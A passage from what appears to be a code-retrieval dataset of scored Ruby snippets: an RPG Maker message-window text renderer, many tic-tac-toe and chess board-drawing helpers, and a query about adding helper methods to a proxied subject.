"text": "def write_char(c)\n if c == \"\\000\"\n # Return to original text\n c = \"\\\\\"\n end\n # If \\C[n]\n if c == \"\\001\"\n # Change text color\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n color = $1.to_i\n if color >= 0 and color <= 7\n self.contents.font.color = text_color(color)\n end\n # go to next text\n return\n end\n # If \\G\n if c == \"\\002\"\n # Make gold window\n if @gold_window == nil\n @gold_window = Window_Gold.new\n @gold_window.x = 560 - @gold_window.width\n if $game_temp.in_battle\n @gold_window.y = 192\n else\n @gold_window.y = self.y >= 128 ? 32 : 384\n end\n @gold_window.opacity = self.opacity\n @gold_window.back_opacity = self.back_opacity\n end\n # go to next text\n return\n end\n # If \\skip\n if c == \"\\003\"\n # toggle text skipping\n $game_system.text_skip = !$game_system.text_skip\n # go to next text\n return\n end\n # If \\b\n if c == \"\\004\"\n # toggle bold\n self.contents.font.bold = !self.contents.font.bold\n # go to next text\n return\n end\n # If \\i\n if c == \"\\005\"\n # toggle italics\n self.contents.font.italic = !self.contents.font.italic\n # go to next text\n return\n end\n # If \\s\n if c == \"\\006\"\n # toggle shadow\n $game_system.shadowed_text = !$game_system.shadowed_text\n # go to next text\n return\n end\n # If \\font\n if c == \"\\007\"\n # change font\n @text.sub!(/\\[(.*?)\\]/, \"\")\n font = $1.to_s\n $game_system.font = font\n if font == \"\"\n self.contents.font.name = Font.default_name\n else\n self.contents.font.name = font\n end\n # go to next text\n return\n end\n # If \\p[n]\n if c == \"\\010\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @pause_time = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\w[n]\n if c == \"\\011\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @wait = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\ws[n]\n if c == \"\\013\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n $game_system.write_speed = $1.to_i\n\n # go to next text\n return\n end \n # If \\oa[n]\n if c == \"\\014\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_armors[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n line = self.contents.text_size(\"dj\").height\n self.contents.blt(@x + 4, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\oi[n]\n if c == \"\\015\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_items[index]\n # draw the icon\n\t if item != nil\n\t\ticon = RPG::Cache.icon(item.icon_name) \n\t\tline = self.contents.text_size(\"dj\").height\n\t\tself.contents.blt(@x + 4, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n\t\t@x += 24\n\t end\n\n # go to next text\n return\n end\n \n # If \\os[n]\n if c == \"\\016\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_skills[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n line = self.contents.text_size(\"dj\").height\n self.contents.blt(@x + 2, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\ow[n]\n if c == \"\\017\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_weapons[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n line = self.contents.text_size(\"dj\").height\n self.contents.blt(@x + 2, (@y * line) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n \n # go to next text\n return\n end\n \n # If \\tc\n if c == \"\\020\"\n # center justify\n $game_system.text_justification = CENTER\n get_x_value\n # go to next text\n return\n end\n \n # If \\tl\n if c == \"\\021\"\n # left justify\n $game_system.text_justification = LEFT\n get_x_value\n # go to next text\n return\n end\n \n # If \\tr\n if c == \"\\022\"\n # right justify\n $game_system.text_justification = RIGHT\n get_x_value\n # go to next text\n return\n end\n \n # If \\ignr\n if c == \"\\023\"\n # set ignore flage\n @ignore = true\n # go to next text\n return\n end\n \n # if \\slv\n if c == \"\\024\"\n # we need to show a slave window\n @text.sub!(/\\[(.*?)\\]/, \"\")\n name = $1.to_s\n $game_system.slave_windows[name].show = true\n return\n end\n \n # if \\ind\n if c == \"\\025\"\n # we need to show a independent window\n @text.sub!(/\\[(.*?)\\]/, \"\")\n name = $1.to_s\n if $game_system.indy_windows[name].show\n $game_system.indy_windows[name].dispose\n $game_system.indy_windows.delete(name)\n else\n $game_system.indy_windows[name].show = true\n end\n return\n end\n \n # if \\c (hex color)\n if c == \"\\026\"\n # convert hex color to RGB\n @text.sub!(/\\[([0123456789abcdef]+)\\]/, \"\")\n hex_code = $1.to_s\n \n red = (\"0x\" + hex_code.slice(0..1)).hex\n blue = (\"0x\" + hex_code.slice(2..3)).hex\n green = (\"0x\" + hex_code.slice(4..5)).hex\n \n self.contents.font.color = Color.new(red, blue, green)\n return\n end\n \n # If new line text\n if c == \"\\n\"\n # Add 1 to y\n if !@ignore\n @y += 1\n end\n if @text != \"\"\n get_x_value\n end\n @ignore = false\n\n # go to next text\n return\n end\n if @ignore\n return\n end\n # Draw text\n line = self.contents.text_size(\"dj\").height\n if $game_system.shadowed_text\n old_color = self.contents.font.color.clone\n self.contents.font.color = $game_system.shadow_color \n self.contents.draw_text(6 + @x, line * @y + 2, 40, 32, c)\n self.contents.font.color = old_color\n end\n self.contents.draw_text(4 + @x, line * @y, 40, 32, c)\n # Add x to drawn text width\n @x += self.contents.text_size(c).width\n end",
"title": ""
},
{
"docid": "bb6bbad896e02f04e00fee4c6e910c4d",
"score": "0.58460325",
"text": "def whose_turn\n if @turn % 2 == 0\n return \"X\"\n end\n return \"O\"\n end",
"title": ""
},
{
"docid": "b049e207eb72dece35c5c0ad77f89678",
"score": "0.5845977",
"text": "def computer_symbol\n\t\tputs @player_symbol \n\t\tif(@player_symbol == :O)\n\t\t :X\n\t\telse\n\t\t :O\n\t\tend\n \tend",
"title": ""
},
{
"docid": "dbb4766fa644737fb465d7e75d1e70ce",
"score": "0.58407146",
"text": "def current_player\n\t\tturn_count % 2 == 0 ? \"X\" : \"O\"\n\tend",
"title": ""
},
{
"docid": "b7d1119c1ab179cb76c80d0ef21418f8",
"score": "0.582496",
"text": "def other_turn\n\t\t@turn == \"x\" ? \"o\" : \"x\"\n\tend",
"title": ""
},
{
"docid": "6ae5973761050295b33061d706732013",
"score": "0.5814936",
"text": "def colour move\n\tif move == \"X\"\n\t\treturn \"#{colourize(\"X\", \"human\")}\"\n\telsif move == \"O\"\n\t\treturn \"#{colourize(\"O\", \"cpu\")}\"\n\telse\n\t\treturn move\n\tend\nend",
"title": ""
},
{
"docid": "b4d911bcf49fee651706dace32e0c04e",
"score": "0.57860744",
"text": "def current_player\n return turn_count%2==0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "77f596e38ac23da6e9d10faf78b51013",
"score": "0.5764102",
"text": "def current_player #removed (board) argument\n turn_count % 2 == 0 ? \"X\" : \"O\" \nend",
"title": ""
},
{
"docid": "81fee2e9c417c73fc43adad29fe2e2da",
"score": "0.57531655",
"text": "def current_player\n turn_count%2==0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "231cf9ef7af09ce245f138983b0fb691",
"score": "0.57450265",
"text": "def current_player\n (turn_count % 2 == 0)? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "4660848438f632e997410ccf848cf78f",
"score": "0.5734201",
"text": "def draw\n @help.draw(30, 120, 100)\n @cancel.draw\n end",
"title": ""
},
{
"docid": "5543a39d309d626276422fa6b8804050",
"score": "0.5714795",
"text": "def current_player\r\n if self.turn_count == 0\r\n return \"X\"\r\n elsif self.turn_count.odd?\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end",
"title": ""
},
{
"docid": "5e590eb8f145ba9d6f716ea6a2bc6d33",
"score": "0.5708348",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\" # << tweaked\n end",
"title": ""
},
{
"docid": "54ebf8778e209cc4f0655e6679128ba2",
"score": "0.570741",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "54ebf8778e209cc4f0655e6679128ba2",
"score": "0.570741",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "400de56d80ce2eec6b1282784dc67ef7",
"score": "0.56987536",
"text": "def current_player\n turn_count == 0 || turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "fd9293eed06872df64a26f5a86c86416",
"score": "0.569327",
"text": "def output\n puts \"#{@coord_x} #{@coord_y} #{@direction}\"\nend",
"title": ""
},
{
"docid": "2cfb1101754e08939ed452d343b64235",
"score": "0.5691207",
"text": "def current_player\n if turn_count % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "2cfb1101754e08939ed452d343b64235",
"score": "0.5691207",
"text": "def current_player\n if turn_count % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "3f6403aaa75c0da49973cea339848958",
"score": "0.5672683",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "dc1cd8781d87e4ebf550cf8c1ef04ea4",
"score": "0.5667809",
"text": "def current_player\r\n if turn_count % 2 != 0\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end",
"title": ""
},
{
"docid": "064fd166838a59558cadffb4cb86caee",
"score": "0.5662644",
"text": "def draw? \n end",
"title": ""
},
{
"docid": "da8eb11a7d739394efa458504d94f911",
"score": "0.5659855",
"text": "def draw\n print \"\\n a b c d e f g h\\n 8\"\n i = 1\n while i <= 8\n (1..8).each do |j|\n if @spaces[((8 * j) - i)].class == Pawn\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2659} \"\n else\n print \" \\u{265F} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Rook\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2656} \"\n else\n print \" \\u{265C} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Knight\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2658} \"\n else\n print \" \\u{265E} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Bishop\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2657} \"\n else\n print \" \\u{265D} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == Queen\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2655} \"\n else\n print \" \\u{265B} \"\n end\n\n elsif @spaces[((8 * j) - i)].class == King\n if @spaces[((8 * j) - i)].side_id == 1\n print \" \\u{2654} \"\n else\n print \" \\u{265A} \"\n end\n\n else\n print \" - \"\n end \n end\n if i < 8\n print \"#{9 - i} \\n #{8 - i}\" \n else \n print \"#{9 - i} \\n a b c d e f g h\"\n end\n i += 1\n end\n true\n end",
"title": ""
},
{
"docid": "a275643e5de1f802c64d34bbc1c11d54",
"score": "0.5657815",
"text": "def to_pos\n return \"(N/A|N/A)\" if @x.nil? || @y.nil?\n return \"(#{@x}|#{@y})\"\n end",
"title": ""
},
{
"docid": "b4cda4ffe0b6c78a7826514d4230165f",
"score": "0.5648876",
"text": "def draw \n\t\tsuper(\"You Won!! Great Battle!!\", X, Y, 5)\n\tend",
"title": ""
},
{
"docid": "76ba5ad48456d993589011bb814c0c05",
"score": "0.5648676",
"text": "def draw_segment(character, offset)\n puts \"#{' ' * offset}#{character}\"\nend",
"title": ""
},
{
"docid": "e399be32c195c7bcddfea8dff8966500",
"score": "0.56437147",
"text": "def output_word\n puts @displayed_character.join('')\n end",
"title": ""
},
{
"docid": "a3abfe71a7c3501a5c32a2e5ee592c33",
"score": "0.564043",
"text": "def print_to_terminal\n grid.each do |row|\n row.each do |element|\n print \"O \" if(element==1)\n print \"X \" if(element==-1)\n print \"- \" if(element==0)\n end\n print \"\\n\"\n end\n end",
"title": ""
},
{
"docid": "5202f68ede1e5d8bab6a021c7ae687c2",
"score": "0.5631458",
"text": "def bin_display(op:, input_name:)\n bd = get_bin(op: op, input_name: input_name) || \"N/A\"\n bd.to_s\n end",
"title": ""
},
{
"docid": "feb545998bb1820d64f521423a6e9532",
"score": "0.5627002",
"text": "def draw; end",
"title": ""
},
{
"docid": "feb545998bb1820d64f521423a6e9532",
"score": "0.5627002",
"text": "def draw; end",
"title": ""
},
{
"docid": "50a45c4ba4baf97a0b1013a23ccc3876",
"score": "0.5626282",
"text": "def current_player \n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "c35a552afbaa9346edf6396af7a8a1c3",
"score": "0.5613357",
"text": "def marker_on_cell(cell)\n\t\tif @cell_status[cell]==2 then\n\t\t\treturn \"X\"\n\t\telsif @cell_status[cell]==1 then\n\t\t\treturn \"O\"\n\t\telse\n\t\t\treturn \" \"\t\n\t\tend\t\t\n\tend",
"title": ""
},
{
"docid": "bbe4910abc4e44170ba8e56590e33401",
"score": "0.5612633",
"text": "def draw\n\tend",
"title": ""
},
{
"docid": "fc2d2e48f353b60bee39631d257868b0",
"score": "0.56117404",
"text": "def current_player\n if turn_count % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end",
"title": ""
},
{
"docid": "4d7a93a9689d001020388a1dc9f96f1f",
"score": "0.56088245",
"text": "def winner\n if current_player.marker == \"X\"\n return \"O\"\n else\n return \"X\"\n end\n end",
"title": ""
},
{
"docid": "9a643803bbbcd19b70cfd30b5d6f856b",
"score": "0.5603742",
"text": "def draw_current \t \n \t\" #{@spaces[:space_1]} | #{@spaces[:space_2]} | #{@spaces[:space_3]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@spaces[:space_4]} | #{@spaces[:space_5]} | #{@spaces[:space_6]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@spaces[:space_7]} | #{@spaces[:space_8]} | #{@spaces[:space_9]}\\n\" +\n \t\t\t\t\t\t \" | | \\n\\n\"\n end",
"title": ""
},
{
"docid": "d50e8c7fa091d47c6bfa85cbccf3c0a2",
"score": "0.5600194",
"text": "def draw *active_index\n\t\[email protected]_with_index do |item, idx|\n\t\t\tprint \"\\e[2K\"\n\t\t\tif active_index.include? idx\n\t\t\t\tprint \"\\e[45;30m\"\n\t\t\t\tprint item\n\t\t\t\tputs \"\\e[m\"\n\t\t\telse\n\t\t\t\tprint item\n\t\t\t\tputs\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "3d3a117eb6a9761bf0cc19265ea81e48",
"score": "0.55976474",
"text": "def draw\n end",
"title": ""
},
{
"docid": "3d3a117eb6a9761bf0cc19265ea81e48",
"score": "0.55976474",
"text": "def draw\n end",
"title": ""
},
{
"docid": "3d3a117eb6a9761bf0cc19265ea81e48",
"score": "0.55976474",
"text": "def draw\n end",
"title": ""
},
{
"docid": "cde8d1499e2f1afef1bef2e299252d9a",
"score": "0.558062",
"text": "def draw\n puts \"*\" * (@cells.first.size + 2)\n @cells.each do |row|\n puts \"|\" + row.map { |column_value| column_value == 0 ? \" \" : \"#\" }.join + \"|\"\n end\n puts \"*\" * (@cells.first.size + 2)\n end",
"title": ""
},
{
"docid": "174502f437a08723295ab1a637c241a2",
"score": "0.5572845",
"text": "def opposing_player(cur_player)\n cur_player == \"X\"? \"O\" : \"X\"\n end",
"title": ""
},
{
"docid": "ab035370ae8db82ffd0162906b205648",
"score": "0.55581355",
"text": "def display_position\n side = \" \\u2551\"\n puts \" \\u2554\" + \"\\u2550\" * 16 + \"\\u2557\"\n current_position.each do |row|\n row_string = row.join(\" \")\n puts side + row_string + side\n end\n puts \" \\u255A\" + \"\\u2550\" * 16 + \"\\u255D\"\n if @current_state[:check]\n puts\n puts \"Check!\"\n end\n end",
"title": ""
},
{
"docid": "f2715d588ad9c58a0188c1a7bf4dd1eb",
"score": "0.5553841",
"text": "def display\n type == :pawn ? \"\\u2727\" : \"\\u272A\" # ✧ / ✪ - Ⓞ Ⓚ ⓵\n end",
"title": ""
},
{
"docid": "f568dbb598b99038254263fec0d50daf",
"score": "0.5542871",
"text": "def draw\n end",
"title": ""
},
{
"docid": "625a62ebc91541f714ca335ee5d6c4b6",
"score": "0.55424523",
"text": "def current_player\n return turn_count.even? ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "6e6645f8f459fcd10b69926db4cdd066",
"score": "0.5538926",
"text": "def draw\n\t\t#puts \"Node#draw : #{@node_x}, #{@node_y}\"\n\t\t#puts \"Node#draw: str_pos: \" + @str_pos.to_s\n\t\tpushStyle\n\t\t\tno_stroke\n\t\t\tfill 40, 50, 70\n\t\t\tellipse(@node_x, @node_y, @@node_size, @@node_size)\n\t\tpopStyle\n\tend",
"title": ""
},
{
"docid": "450148d85370e1efa56c2ee744552af8",
"score": "0.5523029",
"text": "def taken?(input_position)\n self.position(input_position) == \"X\" || self.position(input_position) == \"O\"\n end",
"title": ""
},
{
"docid": "7a3c5c1fb79b6b3d27a5d88d55c9e2f1",
"score": "0.55192125",
"text": "def draw\n\t\t\n\tend",
"title": ""
},
{
"docid": "7a3c5c1fb79b6b3d27a5d88d55c9e2f1",
"score": "0.55192125",
"text": "def draw\n\t\t\n\tend",
"title": ""
},
{
"docid": "7a3c5c1fb79b6b3d27a5d88d55c9e2f1",
"score": "0.55192125",
"text": "def draw\n\t\t\n\tend",
"title": ""
},
{
"docid": "7a3c5c1fb79b6b3d27a5d88d55c9e2f1",
"score": "0.55192125",
"text": "def draw\n\t\t\n\tend",
"title": ""
},
{
"docid": "c9720953fed2bc451a976655e2afaee8",
"score": "0.55167377",
"text": "def draw\n @help.draw(20, 10, 100)\n @return.draw\n end",
"title": ""
},
{
"docid": "18ea4f7abc552f9c129a15f34fe9296a",
"score": "0.5514828",
"text": "def move_to_x(x)\n $stdout.write \"\\033[#{x}C\"\n end",
"title": ""
},
{
"docid": "e6be164c09f82e4af802822a03480a43",
"score": "0.5511314",
"text": "def draw_equipset_title(dx, dy, str)\n return if str.length == 0\n change_color(crisis_color)\n draw_text(dx, dy, @ori_contents_width, line_height, str)\n change_color(normal_color)\n end",
"title": ""
},
{
"docid": "bfc4c348b1b7a2295d79ae3bd7f52b45",
"score": "0.55089474",
"text": "def current_player(board)\n #if (turn_count(board) % 2) == 0\n #return \"X\"\n #else\n #return \"O\"\n #end\n\n output = (turn_count(board) % 2) == 0 ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "5e82bc1e6b3708f8b36af0c5c26064fb",
"score": "0.55039525",
"text": "def draw\n\t\tputs \"\\n\"\n\t\tmid = (@height/2.0).ceil\n\t\tfor line in 1..@height\n\t\t\tspace0 = (mid - (mid-line).abs).abs\n\t\t\tspace1 = (mid - line).abs * 2 - 1\n\t\t\tputs space1 > 0 ?\n\t\t\t\t \" \" * space0 + \"X \" + \" \" * space1 + \"X\" :\n\t\t\t\t \" \" * space0 + \"X\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "230b5eebde02b07c839569726cd3ee00",
"score": "0.54995805",
"text": "def draw\n\t\t@move_action.draw\n\tend",
"title": ""
},
{
"docid": "a18c27b4792c8fb2cdc8e680b8071952",
"score": "0.5499497",
"text": "def player_render_and_report(player_select_coordinate)\n if @computer_board.cells[player_select_coordinate].render == \"X\"\n puts \"You shot at #{selected_coord} GET SUNK.\"\n elsif @computer_board.cells[player_select_coordinate].render == \"H\"\n puts \"I shot at #{selected_coord} and it's a hit. I'm gonna win.\"\n elsif @computer_board.cells[player_select_coordinate].render == \"M\"\n puts \"You missed but I'm not throwing away my SHOT.\"\n end\n end",
"title": ""
},
{
"docid": "93342e453abb73770a5089bbc1a6d627",
"score": "0.54963064",
"text": "def draw_key_command(key, index)\n rect = item_rect_for_text(index)\n change_color(normal_color)\n draw_text(rect.x, rect.y, rect.width/2, line_height, Vocab.command_name(key))\n if $game_system.xinput_key_set[key]\n change_color(crisis_color)\n draw_text(rect.width/2, rect.y, rect.width/2, line_height, Vocab.gamepad_key($game_system.xinput_key_set[key]), 1)\n else\n change_color(knockout_color)\n draw_text(rect.width/2, rect.y, rect.width/2, line_height, ControllerSettings::NO_KEY_SET, 1)\n end\n end",
"title": ""
},
{
"docid": "1e313866d7793cbf97bb9e0f6cb4654d",
"score": "0.54874444",
"text": "def determine_winner\n \tif self.won?(@player_symbol) then\n \t\t@over = true\n \treturn \"Player\" \n \tend\n \tif self.won?(@computer_symbol) then\n \t\t@over = true\n \t return \"Computer\" \n \tend\n \tif self.open_spots.count == 0 then\n \t\t@over = true\n \t\treturn \"Draw\"\n \tend\n return \"\" \n end",
"title": ""
},
{
"docid": "9d65e4000d19b4a080feabf3ab9ddd99",
"score": "0.5487161",
"text": "def game_over\n return :winner if winner?\n return :draw if draw?\n false\n end",
"title": ""
},
{
"docid": "48e33cc4d7f4f0e3b11194b4e0a9db5b",
"score": "0.54782003",
"text": "def show_draw\n puts 'No more avalaible spaces, consider it a draw'\n puts 'The game will be re-started'\n puts 'loading................'\n puts 'Press any key to continue'\nend",
"title": ""
},
{
"docid": "3ff1879ab1f74f89b923156b5aee971e",
"score": "0.54754835",
"text": "def current_player\n if turn_count % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "b4cf85ca569585a098528576ebb74a2a",
"score": "0.5474675",
"text": "def displayRect(length, width)\n #Line\n for i in 0...width\n #Col\n for j in 0...length\n #Draw 0 each coin\n if((i == 0 && j == 0) || (i == width - 1 && j == length - 1) || (i == 0 && j == length - 1) || (i == width - 1 && j == 0))\n print \"O\"\n else\n need_space = true\n #Draw | by see col\n if((j == 0) || (j == length - 1))\n print \"|\"\n need_space = false\n end\n #Draw - by see line\n if((i == 0) || (i == width - 1))\n print \"-\"\n need_space = false\n end\n\n if (need_space)\n print \" \"\n end\n end\n end\n puts \"\\n\"\n end\nend",
"title": ""
},
{
"docid": "c882954dab34000236bb58ea20ebaef7",
"score": "0.5474032",
"text": "def draw_next_phase\n if (@color_pair)\n if Ncurses.respond_to?(:color_set)\n @window.color_set(@color_pair, nil)\n else\n @window.attrset(Ncurses.COLOR_PAIR(@color_pair))\n end\n end\n @window.mvaddstr(@y, @x, \"O\")\n end",
"title": ""
},
{
"docid": "0a5c86f446ba5e52d41ea43975d93fa0",
"score": "0.5471994",
"text": "def displayArray\n checkIfComplete\n clearScreen\n @levelArr.each do |y|\n y.each do |x|\n case(x)\n when '@'\n print x.colorize(:color => :orange)\n when '#'\n print x.colorize(:background => :gray)\n else\n print x\n end\n end\n end\n manPosition = locateMan\n puts \"Press 'h' for help:\"\n charPressedInGame\nend",
"title": ""
},
{
"docid": "d23433710325102dfc34fea7314de554",
"score": "0.54690355",
"text": "def wave_display\n font_big = TTY::Font.new(:doom)\n font_col = Pastel.new\n case $current_lvl\n when $lvl_1\n puts font_col.red(font_big.write(\"WAVE 1\"))\n when $lvl_2\n puts font_col.red(font_big.write(\"WAVE 2\"))\n when $lvl_3\n puts font_col.red(font_big.write(\"WAVE 3\"))\n end\nend",
"title": ""
},
{
"docid": "8d7f96a204ccbf7fa3ff9fd624341bb8",
"score": "0.5464741",
"text": "def draw\n @osd.draw\n end",
"title": ""
},
{
"docid": "d280252941cb15c1ec63c79ff487334d",
"score": "0.54646474",
"text": "def draw\n @board.to_s\n end",
"title": ""
},
{
"docid": "2a25524a90b6c30e30131fcf08a87411",
"score": "0.5457334",
"text": "def draw\n puts\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \" #{squares[1]} | #{squares[2]} | #{squares[3]} \", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \"-----+-----+-----\", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \" #{squares[4]} | #{squares[5]} | #{squares[6]} \", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \"-----+-----+-----\", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \" #{squares[7]} | #{squares[8]} | #{squares[9]} \", '')\n output_to_diplay('', \" | | \", '')\n puts\n end",
"title": ""
},
{
"docid": "03ae6cd720b00292b3e3e3afcf76fb20",
"score": "0.5455865",
"text": "def symbol_for_player(player)\n case player\n when player1\n \"X\"\n when player2\n \"O\"\n else\n raise \"Oi, That's not one of my players\"\n end\n end",
"title": ""
},
{
"docid": "815fb6c0dc286b4de5a9bf3cf9437685",
"score": "0.5455329",
"text": "def report\n ret = ''\n (0 .. @max_y - 1).to_a.reverse.each do |y|\n (0 .. @max_x - 1).each do |x|\n ret += object_at?(x, y) ? 'X' : '0'\n end\n ret += \"\\n\"\n end\n ret.chomp\n end",
"title": ""
},
{
"docid": "cef36bcc48347a89bccbaa71931570e3",
"score": "0.54448986",
"text": "def current_player\n turn = turn_count\n if turn%2 == 0\n return \"X\"\n else\n return 'O'\n end\n end",
"title": ""
},
{
"docid": "62a0e9b8cc639670464d7aefc0c4731d",
"score": "0.5443736",
"text": "def draw()\n @cEquipKind.draw()\n @ucIcon.draw()\n @cEquipName.draw()\n end",
"title": ""
},
{
"docid": "ebf632fb9adf0e2a5bf959601c02bfdf",
"score": "0.544307",
"text": "def draw\n wqueen = \"\\u{2655}\"\n wking = \"\\u{2654}\"\n wrook = \"\\u{2656}\"\n wbship = \"\\u{2657}\"\n wknight = \"\\u{2658}\"\n wpawn = \"\\u{2659}\"\n\n bqueen = \"\\u{265B}\"\n bking = \"\\u{265A}\"\n brook = \"\\u{265C}\"\n bbship = \"\\u{265D}\"\n bknight = \"\\u{265E}\"\n bpawn = \"\\u{265F}\"\n\n board = Array.new(8) {Array.new(8, \" \" ) }\n b_size = board.length\n\n board_edge = Array.new(9, \"+\").join('---')\n\n board_edge_letters = ('a'..'h').to_a.join(' ')\n board_edge_letters = \" #{board_edge_letters}\"\n board[0][0] = wrook\n board[0][1] = wknight\n board[0][2] = wbship\n board[0][3] = wqueen\n board[0][4] = wking\n board[0][5] = wbship\n board[0][6] = wknight\n board[0][7] = wrook\n\n board[7][0] = brook\n board[7][1] = bknight\n board[7][2] = bbship\n board[7][3] = bqueen\n board[7][4] = bking\n board[7][5] = bbship\n board[7][6] = bknight\n board[7][7] = brook\n #draw\n puts board_edge_letters\n puts \" #{board_edge} \"\n board.each_with_index do |row, i|\n row = row.join(' | ')\n puts \"#{i+1} | #{row} | #{i+1}\"\n puts \" #{board_edge} \"\n end\n puts board_edge_letters\n\nend",
"title": ""
},
{
"docid": "71848166527cb814015a9b0f28f9d7ba",
"score": "0.54406905",
"text": "def open_closed(choice)\r\n if choice == \"open\"\r\n puts \"u: #{$up}, d: #{$down}, l: #{$left}, r: #{$right}\"\r\n end\r\n if choice == \"closed\"\r\n puts \"#{$closedCell}\"\r\n end\r\n end",
"title": ""
},
{
"docid": "9b0b5a262eba46991777168f82c2d101",
"score": "0.5439539",
"text": "def winner(board)\n # returns X when X won, O when O won and nill when there is no winner\n if (draw?(board) || !full?(board)) && !won?(board)\n return nil\n elsif (board[won?(board)[0]] == \"X\")\n return \"X\"\n elsif (board[won?(board)[0]] == \"O\")\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "51db2c1289fe5cd5c027e6e7dcc850ba",
"score": "0.5437172",
"text": "def clear_char(n = nil)\n CSI + \"#{n}X\"\n end",
"title": ""
},
{
"docid": "2077408ba8cb80e0b16f7694e6b1ede7",
"score": "0.54357314",
"text": "def draw\n\t\tend",
"title": ""
},
{
"docid": "cd2afe74fd46a7c661800818095d5e51",
"score": "0.5431505",
"text": "def render\n @board.each.with_index do |row, y|\n row.each.with_index do |item, x|\n chr = item.nil? ? \" \" : item\n print \" #{chr} \"\n print \"|\" unless x == row.size - 1\n end\n print \"\\n-----------\\n\" unless y == @board.size - 1\n end\n print \"\\n\"\n end",
"title": ""
},
{
"docid": "1be193417d9cbca8e69d5424e21af827",
"score": "0.54293096",
"text": "def to_s\n @seen ? @graphic + ' ' : ' '\n end",
"title": ""
},
{
"docid": "c2b1a644a322d6b56697700fda010e83",
"score": "0.5428319",
"text": "def move(s, x, y, isTextMode)\n if isTextMode\n puts \"# move(sp, #{x}, #{y})\"\n puts \"PA#{x.to_i()},#{y.to_i()};\"\n else\n s.puts \"PA#{x.to_i()},#{y.to_i()};\"\n end\nend",
"title": ""
}
] |
73c4dcd06671db9242d331c31e076d7e
|
NOTE: We extend the subject with additional methods that may be useful only when building the payload. This is possible by using the Proxy TODO: Warn if method is already defined on subject.__getobj__
|
[
{
"docid": "756075078798fe75b38e00a0457af9c2",
"score": "0.0",
"text": "def helper(name, &block)\n delegation_obj = subject.__getobj__\n subject.define_singleton_method(name.to_sym) do\n instance_exec(delegation_obj, &block)\n end\n end",
"title": ""
}
] |
[
{
"docid": "1d3cfe056fd649ee3af4b8b961ef2d8c",
"score": "0.6802776",
"text": "def method_missing(method)\n subject.send method\n end",
"title": ""
},
{
"docid": "b22139428cbee33618cec54d7367302d",
"score": "0.6273146",
"text": "def initialize(obj)\n super\n if @subject.kind_of? GsNMethod\n @subject = wrap_gsmeth(@subject)\n end\n end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
"text": "def subject; end",
"title": ""
},
{
"docid": "13c39e9cab8344fbdd8f2c75a0f7d78c",
"score": "0.61491454",
